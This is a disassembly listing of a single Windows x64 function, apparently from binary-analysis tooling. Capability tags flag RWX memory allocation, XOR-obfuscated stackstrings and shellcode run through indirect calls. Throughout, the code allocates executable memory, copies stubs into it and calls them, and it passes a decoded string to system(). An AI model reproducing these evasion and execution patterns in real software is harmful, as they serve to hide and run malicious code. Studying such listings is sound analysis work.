Function at 0x140042170
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x140057010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
lea rcx, [rbp + 0x5f]
movabs rax, 0x7a5db90d33787107
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rcx
mov rsi, qword [rcx]
xor rsi, rax
mov qword [rbp - 0x21], rsi
mov qword [rbp - 0x19], rsi
lea r12, [rbp + 0x5f]
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], r12
mov qword [rbp + 7], rax
xor r15d, r15d
mov qword [r12], r15
mov ecx, r15d
lea edi, [r15 + 3]
lea rbx, [0x140045290]
lea r14, [0x140000000]
mov rax, qword [0x14005abd0]
test rax, rax
je 0x14004222a
mov edx, r15d
cmp rax, rbx
je 0x140042219
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5abd0]
test rax, rax
jne 0x140042201
jmp 0x14004222a
mov r8, qword [r14 + rdx*8 + 0x5b220]
test r8, r8
jne 0x14004230f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042251
mov r8, r15
jmp 0x1400422ee
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042260
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400582d0]
mov qword [r14 + rax*8 + 0x5abd0], rbx
mov qword [r14 + rax*8 + 0x5b220], r8
inc rax
mov qword [0x1400582d0], rax
lea rcx, [0x14003ad80]
call r8
nop
mov qword [r12], r15
mov rbx, r15
lea r13, [0x1400450e0]
test al, al
jne 0x1400424d1
mov dword [rbp + 7], 0x898c97ba
mov dword [rbp + 0xb], 0x9fbbdc9e
mov dword [rbp + 0xf], 0x66646c96
mov word [rbp + 0x13], 0x22
mov byte [rbp + 0x15], 1
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 9]
xor byte [rbp + rcx + 7], al
inc rcx
cmp rcx, 0xd
jb 0x140042360
mov byte [rbp + 0x15], bl
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rbx, [rbp + 0x5f]
movabs r12, 0x7a5db90d33787107
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x29], rbx
mov rbx, qword [rbx]
xor rbx, r12
mov qword [rbp - 0x39], rbx
mov ecx, r15d
mov rax, qword [0x14005ce50]
test rax, rax
je 0x1400423d9
mov rdx, r15
nop dword [rax]
cmp rax, r13
je 0x1400423c8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5ce50]
test rax, rax
jne 0x1400423b0
jmp 0x1400423d9
mov r8, qword [r14 + rdx*8 + 0x5d170]
test r8, r8
jne 0x1400424bf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042400
mov r8, r15
jmp 0x14004249e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042410
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400616c8]
mov qword [r14 + rax*8 + 0x5ce50], r13
mov qword [r14 + rax*8 + 0x5d170], r8
inc rax
mov qword [0x1400616c8], rax
lea rdx, [rbp - 1]
lea rcx, [fcn.1400012b0]
call r8
nop
xor rbx, r12
lea r12, [rbp + 0x5f]
movabs rax, 0x7a5db90d33787107
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x29], r12
xor rbx, rax
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
lea r8, [0x140045290]
mov rax, qword [0x140058610]
test rax, rax
je 0x140042539
mov rdx, r15
nop dword [rax + rax]
cmp rax, r8
je 0x140042528
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x58610]
test rax, rax
jne 0x140042510
jmp 0x140042539
mov r8, qword [r14 + rdx*8 + 0x5bea0]
test r8, r8
jne 0x140042626
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042560
mov r8, r15
jmp 0x1400425fe
lea rax, [0x140045290]
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042570
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140057958]
lea r9, [0x140045290]
mov qword [r14 + rax*8 + 0x58610], r9
mov qword [r14 + rax*8 + 0x5bea0], r8
inc rax
mov qword [0x140057958], rax
lea rcx, [0x1400384a0]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
mov qword [r12], rbx
test al, al
jne 0x1400427ef
mov dword [rbp + 7], 0x8c908ab3
mov dword [rbp + 0xb], 0xb8dd8e9e
mov dword [rbp + 0xf], 0x676d699e
mov dword [rbp + 0x13], 0x1002567
mov rcx, r15
nop dword [rax]
lea eax, [rcx - 9]
xor byte [rbp + rcx + 7], al
inc rcx
cmp rcx, 0xe
jb 0x140042670
mov byte [rbp + 0x16], 0
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea r12, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], r12
mov rbx, qword [r12]
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x14005ce50]
test rax, rax
je 0x1400426e9
mov rdx, r15
nop dword [rax]
cmp rax, r13
je 0x1400426d8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5ce50]
test rax, rax
jne 0x1400426c0
jmp 0x1400426e9
mov r8, qword [r14 + rdx*8 + 0x5d170]
test r8, r8
jne 0x1400427cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042710
mov r8, r15
jmp 0x1400427ae
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042720
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400616c8]
mov qword [r14 + rax*8 + 0x5ce50], r13
mov qword [r14 + rax*8 + 0x5d170], r8
inc rax
mov qword [0x1400616c8], rax
lea rdx, [rbp - 1]
lea rcx, [fcn.1400012b0]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
mov qword [r12], rbx
movdqa xmm0, xmmword [0x14004f860]
movdqu xmmword [rbp + 7], xmm0
mov dword [rbp + 0x17], 0x6f7d6169
mov dword [rbp + 0x1b], 0x232225
mov byte [rbp + 0x1f], 1
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 9]
xor byte [rbp + rcx + 7], al
inc rcx
cmp rcx, 0x17
jb 0x140042820
mov byte [rbp + 0x1f], 0
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea r12, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], r12
mov rbx, qword [r12]
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x14005ce50]
test rax, rax
je 0x140042899
mov rdx, r15
nop dword [rax]
cmp rax, r13
je 0x140042888
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5ce50]
test rax, rax
jne 0x140042870
jmp 0x140042899
mov r8, qword [r14 + rdx*8 + 0x5d170]
test r8, r8
jne 0x14004297f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400428c0
mov r8, r15
jmp 0x14004295e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400428d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400616c8]
mov qword [r14 + rax*8 + 0x5ce50], r13
mov qword [r14 + rax*8 + 0x5d170], r8
inc rax
mov qword [0x1400616c8], rax
lea rdx, [rbp - 1]
lea rcx, [fcn.1400012b0]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
mov qword [r12], rbx
lea r8, [0x140044f50]
cmp qword [0x140057840], 0
jne 0x140042f48
lea r12, [rbp + 0x5f]
lea r13, [0x140045290]
lea rsi, [0x140044f50]
jmp 0x1400429d7
lea r8, [0x140044f50]
mov dword [rbp - 1], 1
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], r12
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x14005d490]
test rax, rax
je 0x140042a2c
mov rdx, r15
cmp rax, r8
je 0x140042a1b
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5d490]
test rax, rax
jne 0x140042a03
jmp 0x140042a2c
mov r8, qword [r14 + rdx*8 + 0x598d0]
test r8, r8
jne 0x140042b16
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042a53
mov r8, r15
jmp 0x140042aee
lea rax, [0x140044f50]
mov rcx, r8
mov rdx, rdi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042a60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005e760]
lea rcx, [0x140044f50]
mov qword [r14 + rax*8 + 0x5d490], rcx
mov qword [r14 + rax*8 + 0x598d0], r8
inc rax
mov qword [0x14005e760], rax
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
movabs rax, 0x7a5db90d33787107
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x1400582e0]
test rax, rax
je 0x140042b7a
mov rdx, r15
cmp rax, r13
je 0x140042b69
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x582e0]
test rax, rax
jne 0x140042b51
jmp 0x140042b7a
mov r8, qword [r14 + rdx*8 + 0x5b540]
test r8, r8
jne 0x140042c5f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042ba1
mov r8, r15
jmp 0x140042c3e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042bb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005a250]
mov qword [r14 + rax*8 + 0x582e0], r13
mov qword [r14 + rax*8 + 0x5b540], r8
inc rax
mov qword [0x14005a250], rax
lea rcx, [0x1400386a0]
call r8
nop
mov dword [0x1400578d8], eax
add eax, 0x22b
mov dword [rbp - 1], eax
movabs rax, 0x7a5db90d33787107
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x14005c4e0]
test rax, rax
je 0x140042ccd
mov rdx, r15
cmp rax, rsi
je 0x140042cbc
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5c4e0]
test rax, rax
jne 0x140042ca4
jmp 0x140042ccd
mov r8, qword [r14 + rdx*8 + 0x58930]
test r8, r8
jne 0x140042daf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042cf4
mov r8, r15
jmp 0x140042d8e
mov rax, rsi
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042d00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005a8a0]
mov qword [r14 + rax*8 + 0x5c4e0], rsi
mov qword [r14 + rax*8 + 0x58930], r8
inc rax
mov qword [0x14005a8a0], rax
lea rdx, [rbp - 1]
lea rcx, [0x140040250]
call r8
nop
mov qword [0x140057840], rax
mov dword [rbp - 1], 1
movabs rax, 0x7a5db90d33787107
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x14005d490]
test rax, rax
je 0x140042e29
mov rdx, r15
lea r8, [0x140044f50]
nop
cmp rax, r8
je 0x140042e18
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5d490]
test rax, rax
jne 0x140042e00
jmp 0x140042e29
mov r8, qword [r14 + rdx*8 + 0x598d0]
test r8, r8
jne 0x140042f16
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042e50
mov r8, r15
jmp 0x140042eee
lea rax, [0x140044f50]
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042e60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005e760]
lea rcx, [0x140044f50]
mov qword [r14 + rax*8 + 0x5d490], rcx
mov qword [r14 + rax*8 + 0x598d0], r8
inc rax
mov qword [0x14005e760], rax
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
mov qword [r12], rbx
cmp qword [0x140057840], 0
je 0x1400429d0
mov rsi, qword [rbp - 0x21]
mov eax, dword [0x1400578d8]
mov dword [0x1400577e8], eax
mov dword [rbp - 1], 0x8a9494
mov byte [rbp + 3], 1
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 9]
xor byte [rbp + rcx - 1], al
inc rcx
cmp rcx, 3
jb 0x140042f70
mov byte [rbp + 3], 0
lea rax, [rbp - 1]
mov qword [rbp - 0x21], rax
lea rax, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], rax
mov rbx, qword [rax]
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
lea r12, [0x1400450e0]
mov rax, qword [0x14005a260]
test rax, rax
je 0x140042fe9
mov rdx, r15
nop
cmp rax, r12
je 0x140042fd8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5a260]
test rax, rax
jne 0x140042fc0
jmp 0x140042fe9
mov r8, qword [r14 + rdx*8 + 0x5dad0]
test r8, r8
jne 0x1400430cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043010
mov r8, r15
jmp 0x1400430ae
mov rax, r12
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043020
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140062cc8]
mov qword [r14 + rax*8 + 0x5a260], r12
mov qword [r14 + rax*8 + 0x5dad0], r8
inc rax
mov qword [0x140062cc8], rax
lea rdx, [rbp - 0x21]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
lea r12, [rbp + 0x5f]
movabs rax, 0x7a5db90d33787107
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x140058610]
lea r13, [0x140045290]
test rax, rax
je 0x14004313e
mov rdx, r15
cmp rax, r13
je 0x14004312d
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x58610]
test rax, rax
jne 0x140043115
jmp 0x14004313e
mov r8, qword [r14 + rdx*8 + 0x5bea0]
test r8, r8
jne 0x14004321f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043165
mov r8, r15
jmp 0x1400431fe
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop
